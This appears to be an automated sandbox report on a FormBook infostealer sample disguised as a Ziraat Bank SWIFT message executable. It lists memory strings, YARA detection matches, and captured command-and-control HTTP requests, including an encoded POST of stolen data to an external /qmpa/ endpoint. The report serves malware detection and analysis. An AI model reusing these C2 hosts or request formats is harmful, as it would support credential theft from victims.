00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302242022.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302865321.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302414369.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302326537.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303167686.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302564228.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303077151.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302653539.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302751937.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302492163.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303316822.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303418082.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.303007184.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/$
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/0
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/P
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300913114.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/S
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302865321.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302414369.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302326537.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302564228.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302653539.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302751937.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302492163.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302803561.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302242022.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302950130.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/Y
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/Y0
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/Y0P
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/jp/l
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300913114.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/l
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302146273.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301888455.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.302077028.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301987162.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/ry
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301083951.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301779924.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301567715.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301491988.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301677692.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301216806.000000000600D000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301157376.000000000600D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/x
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.monotype.
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297293605.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297323577.000000000601B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.comU
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297293605.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297323577.000000000601B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.comegr
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297615331.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297590159.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.comegrjJH
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297563125.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297590159.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297534420.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297455873.000000000601B000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.297323577.000000000601B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.comers0J
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301976081.0000000006044000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301878220.0000000006043000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.comP1
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kr
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300487990.0000000006016000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.urwpp.deDPlease
          Source: systray.exe, 0000000A.00000002.564786967.0000000004FFA000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 0000000A.00000002.565197079.0000000006EB0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.vodien.com/
          Source: systray.exe, 0000000A.00000002.564786967.0000000004FFA000.00000004.10000000.00040000.00000000.sdmp, systray.exe, 0000000A.00000002.565197079.0000000006EB0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.vodien.com/singapore-email-hosting.php
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cnV
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cno.
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299882505.0000000006033000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cno.z
          Source: q3W1-4699.10.drString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
          Source: q3W1-4699.10.drString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
          Source: q3W1-4699.10.drString found in binary or memory: https://duckduckgo.com/ac/?q=
          Source: systray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drString found in binary or memory: https://duckduckgo.com/chrome_newtab
          Source: q3W1-4699.10.drString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
          Source: systray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drString found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
          Source: systray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drString found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
          Source: systray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drString found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
          Source: systray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drString found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
          Source: systray.exe, 0000000A.00000003.530735455.0000000000915000.00000004.00000020.00020000.00000000.sdmp, q3W1-4699.10.drString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
          Source: unknownHTTP traffic detected: POST /qmpa/ HTTP/1.1Host: www.multimediapages.comConnection: closeContent-Length: 188Cache-Control: no-cacheOrigin: http://www.multimediapages.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.multimediapages.com/qmpa/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 6d 52 68 34 6c 72 3d 6d 63 4c 7a 7a 6c 6c 51 57 77 75 6a 4d 66 4c 6f 52 70 77 35 65 38 31 69 78 38 6d 58 62 51 5a 4c 73 6e 4b 42 38 44 67 6b 55 49 61 68 7a 49 4e 62 6e 6d 30 59 79 36 4e 37 54 33 76 33 72 6d 6a 76 4f 51 46 68 31 6d 33 6f 76 73 4f 62 52 57 69 70 78 6d 37 42 4a 65 6d 4c 79 44 61 4f 34 47 6a 5a 70 43 75 66 75 35 76 6e 6c 6f 37 78 30 70 79 2d 46 48 63 41 49 30 37 47 71 70 72 4a 54 36 4c 38 55 5f 45 6e 51 5f 28 48 66 38 64 59 50 71 62 30 78 31 7e 62 55 79 6f 4b 33 4e 37 6e 65 30 72 50 59 77 58 4c 45 4f 6b 50 39 51 71 56 47 51 6c 44 6f 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: mRh4lr=mcLzzllQWwujMfLoRpw5e81ix8mXbQZLsnKB8DgkUIahzINbnm0Yy6N7T3v3rmjvOQFh1m3ovsObRWipxm7BJemLyDaO4GjZpCufu5vnlo7x0py-FHcAI07GqprJT6L8U_EnQ_(Hf8dYPqb0x1~bUyoK3N7ne0rPYwXLEOkP9QqVGQlDow).
          Source: unknownDNS traffic detected: queries for: www.notarpucarhr.com
          Source: global trafficHTTP traffic detected: GET /qmpa/?mRh4lr=EgIWtG18ZIzAqtaO1OmvkFLdPjhKt8Mp7J5Y1fxWkEB6Q9kPLkR881s923Q+G4W9S+aNob6MQv0YuDJ73ehw8miGBWwdljwfXw==&VrWd=-Z5PLbzhUhYhR8K HTTP/1.1Host: www.notarpucarhr.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /qmpa/?mRh4lr=rejTwVtqfB30O9nwV+ATTccd4/r3ZShDvm2ExT48d5W41t5gt2xe96xDcyDktEvrNydQ6GKmhPSZbQq/61ftArfg9GGH4Fupqg==&VrWd=-Z5PLbzhUhYhR8K HTTP/1.1Host: www.multimediapages.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /qmpa/?mRh4lr=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImqbF2d7jI61SlZkw==&VrWd=-Z5PLbzhUhYhR8K HTTP/1.1Host: www.oaksinstitute.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

          E-Banking Fraud

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: 2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.31854c4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
          Source: 2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.3169a9c.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
          Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000006.00000002.451409709.0000000001150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: Process Memory Space: Ziraat Bankasi Swift Mesaji20221129-34221.exe PID: 1308, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
